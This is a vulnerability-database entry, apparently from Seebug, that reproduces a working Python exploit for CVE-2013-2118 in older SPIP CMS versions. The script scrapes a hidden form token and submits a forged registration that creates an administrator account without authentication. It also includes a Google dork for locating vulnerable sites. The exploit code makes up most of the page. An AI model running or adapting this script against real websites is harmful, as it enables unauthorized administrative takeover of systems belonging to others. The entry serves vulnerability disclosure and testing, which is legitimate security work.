SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege Escalation

2014-07-0100:00:00

Root

www.seebug.org

0.103 Low

EPSS

Percentile

94.4%

JSON

No description provided by source.


                                                #!/usr/bin/env python
# Exploit Title: SPIP - CMS &#60; 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
# Date: 04/30/2014
# Flaw finder : Unknown
# Exploit Author: Gregory DRAPERI
# Email: gregory |dot| draperi |at| gmail |dot| com
# Google Dork : inurl=&#34;spip.php&#34;
# Vendor Homepage: www.spip.net
# Software Link: http://files.spip.org/spip/archives/
# Version: SPIP &#60; 3.0.9 / 2.1.22 / 2.0.23
# Tested on: Windows 7 - SPIP 2.2.21
# CVE : CVE-2013-2118
&#39;&#39;&#39;
---------------------------------------------------------------------------------------------------------
Software Description:
SPIP is a free software content management system
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.

&#39;&#39;&#39;
import urllib, urllib2
import cookielib
import sys
import re

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

if len(sys.argv) &#60; 4:
   print &#34;SPIP &#60; 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py &#60;SPIP base_url&#62; &#60;login&#62; &#60;mail&#62;&#34;
   exit()

base_url = sys.argv[1]
login = sys.argv[2]
mail = sys.argv[3]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+&#34;/spip.php?page=identifiants&mode=0minirezo&#34;)
print &#34;[+] First request sended...&#34;


m = re.search(&#34;&#60;input name=&#39;formulaire_action_args&#39; type=&#39;hidden&#39;\n[^&#62;]*&#34;, formulaire)
m = re.search(&#34;(?&#60;=value=&#39;)[\w\+/=]*&#34;,m.group(0));


formulaire_data = {&#39;var_ajax&#39; : &#39;form&#39;,
                   &#39;page&#39; : &#39;identifiants&#39;,
                   &#39;mode&#39; : &#39;0minirezo&#39;,
				   &#39;formulaire_action&#39; : &#39;inscription&#39;,
				   &#39;formulaire_action_args&#39; : m.group(0),
				   &#39;nom_inscription&#39; : login,
				   &#39;mail_inscription&#39; : mail,
				   &#39;nobot&#39; : &#39;&#39;
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+&#34;/spip.php?page=identifiants&mode=0minirezo&#34;, formulaire_data)
print &#34;[+] Second request sended&#34;


print &#34;[+] You should receive an email with credentials soon :) &#34;

0.103 Low

EPSS

Percentile

94.4%

JSON

Related for SSV:86647